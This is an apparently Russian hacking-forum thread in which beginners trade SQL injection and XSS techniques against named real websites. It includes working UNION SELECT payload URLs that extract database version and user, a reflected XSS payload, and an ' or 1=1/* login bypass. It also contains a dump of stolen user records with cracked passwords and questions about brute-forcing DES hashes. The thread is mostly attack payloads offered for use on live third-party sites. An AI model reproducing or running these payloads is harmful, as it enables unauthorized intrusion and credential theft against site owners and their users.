Т.к. я начинающий, то в процессе обучения возник вопрос Вскрыл сайт с SI, добыл следующую инфу: таблица 1: access_code,firstname,lastname,password 123800876,Adam,Smith,bigdog (из MD5) таблица 2: name,is_superuser,api_password,password Adam Smith,1,NhaXbNfmzppAE,fsH1sRBI6rLuQ С первой таблицей все ясно - ее данные подходят к входу на форум, но не подходят к админке Не могу понять, к чему относятся данные из второй таблицы. Особенно интересуют поля api_password и password. Вопрос: хешированы они или нет? Если хешированы, то чем можно их забрутить? Что такое access_code? И последний вопрос - к чему могут относиться данные из второй таблицы? Доп.инфа: в первой таблице юзверей более 2 тысяч, во второй - пяток.
Это DES (13 симв)... password- это понятно (хотя несовсем)... api_password - возможно это admin panel interface тоесть админка... password-это допустим доступ к сайту, api_password - это пароль доступа в админку... может быть api_password - это ключ шифрования DES-хеша, а password - это зашифрованный ключем api_password хеш пароля хотя врядли все так сложно, т.ч. скорей всего первый вариант
PHP: http://www.arsenal-electro.ru/news_page.php?id=-11%20union+select+1,2,3,4/* как посмотреть версию бд? там походу фильтрация какая-то странная... это одна из моих первых скулей =)) и еще PHP: http://www.haber20.net/news_page.php?m=1&id=-2541 там выводится id. что-то можно с этим сделать? и вот еще. что здесь? PHP: http://www.atn-night-vision.com/news_page.php?id=-2%20union+select+1,2,3,4,5/* аналогично PHP: http://jdbasketball.com/news_page.php?id=14'
http://www.arsenal-electro.ru/news_page.php?id=-11%20union+select+1,2,convert(version()+using+cp1251),4/* кодировка^
там скули нет, там пассивная XSS Code: http://www.haber20.net/news_page.php?m=1&id=2542%3Cscript%3Ealert(121212121)%3C/script%3E насчет скули, наряду с вариантом ice1k`a возможен еще такой вариант: Code: http://www.arsenal-electro.ru/news_page.php?id=-11%20union+select+1,2,aes_decrypt(aes_encrypt(user(),0x71),0x71),4/*
Нет, это шифрование типа AES, вернее точно AES... получается так, что ты шифруешь данные user() (функция aes_encrypt() ) с ключем 0x71, а потом сразуже расшифровываешь то что зашифровал(функция aes_decrypt() ) c этим же ключем, и в используемой кодировке
у меня еще несколько вопросов. 1. http://www.wolfpublishers.nl/us/news.php?id=-15%20union+select+1,2/* тут просто ошибка скрипта, а скуля нет, так? 2. когда надо ставить перед значением параметра минус, а когда кавычку после? 3. что можно сделать, кроме брута, если версия бд меньше 5? ЗЫ пост http://forum.antichat.ru/showpost.php?p=497322&postcount=251 все еще актуален =)
>у меня еще несколько вопросов. >1. http://www.wolfpublishers.nl/us/news.php?id=-15%20union+select+1,2/* http://www.wolfpublishers.nl/us/news.php?id=-15%20union%20select%201,2,3,4,5,6/* >2. когда надо ставить перед значением параметра минус, а когда кавычку после? Зависит от самого запроса, например Code: "SELECT `date`,`post` FROM `forum` where id='".$id."' and id > 5;" тут нужно будет ставить кавычку и получится Code: "SELECT `date`,`post` FROM `forum` where id=''SQL-inj /* and id > 5;'" т.е. мы "выходим" из id='' - ставить не обязательно, нужно лишь чтобы "левы" (не наш) запрос не выполнился, это можно сделать "-", and 1=0, or 1=1, limit 0 и т.д. >3. что можно сделать, кроме брута, если версия бд меньше 5? посимвольный подбор\угадывание. Если сайт на паблик двиге - установить двиг и посмотреть
1. Это скуля Code: http://www.wolfpublishers.nl/us/news.php?id=-15%20union%20select%201,2,aes_decrypt(aes_encrypt(user(),0x71),0x71),4,5,6/* 2. когда перменная строкового типа (присутствуют не только цифры) надо ставить кавычку когда переменная "числовая" надо ставить минус (хотя и не обязательно), но бывает, что даже если присутствуют только цифры, это все равно переменная строкового типа, в таком случае надо ставить кавычку... (т.е. закрывать для корректности запроса) 3. только искать заранее известные таблицы, например если есть на сайте форум phpBB, то логично искать табличку phpbb_users, хотя иногда форум располагается в другой БД, тогда надо знать еще и имя БД форума, также при установке форума, иногда меняют префикс (phpbb_) тогда его тоже нужно подбирать
с чего ты взял? здесь сто процентная иньекция - Code: http://www.wolfpublishers.nl/us/news.php?id=15+union+select+1,2,convert(version()+using+latin1),4,5,6/* Минус ставиться для перехода к несуществующим значениям переменной, делаеться в тех случях когда при правельном запросе возвращаеться исходная страница и не видно принтабельных столбцов ( можно перейти не только с помощью минуса но и влепить слишком большое значие e.x =999999+union.. Что ты подрузомеваешь под брутом, если перебор действительных значений таблиц и колонок то да
http://www.hackzona.ru/hz.php?name=Forums&file=viewtopic&t=14033 при этом запросе хакзона пишет PHP: Общая ошибка Could not obtain user vote data for this topic DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 4 SELECT vote_id FROM voov_bbvote_voters WHERE vote_id = 331 AND vote_user_id = Line : 747 File : /usr/home/www/a11/modules/Forums/viewtopic.php это скуль?, если да то в каком параметре он?
Ребят может не в тему, но каким должен быть запрос при авторизации чтоб это - ' or 1=1/* ))) прокатило ?
2 nikoTM Примерно таким: $mysql_query="SELECT * FROM prefix_users WHERE username=' ".$username." ' and password='".$password.'"; Тогда при вставке твоего кода получается: $mysql_query="SELECT * FROM prefix_users WHERE username=' ' or 1=1/*" ' and password='".$password."'; То есть если нет пользователя с пустым именем, то извлекается первый попавшийся пользователь.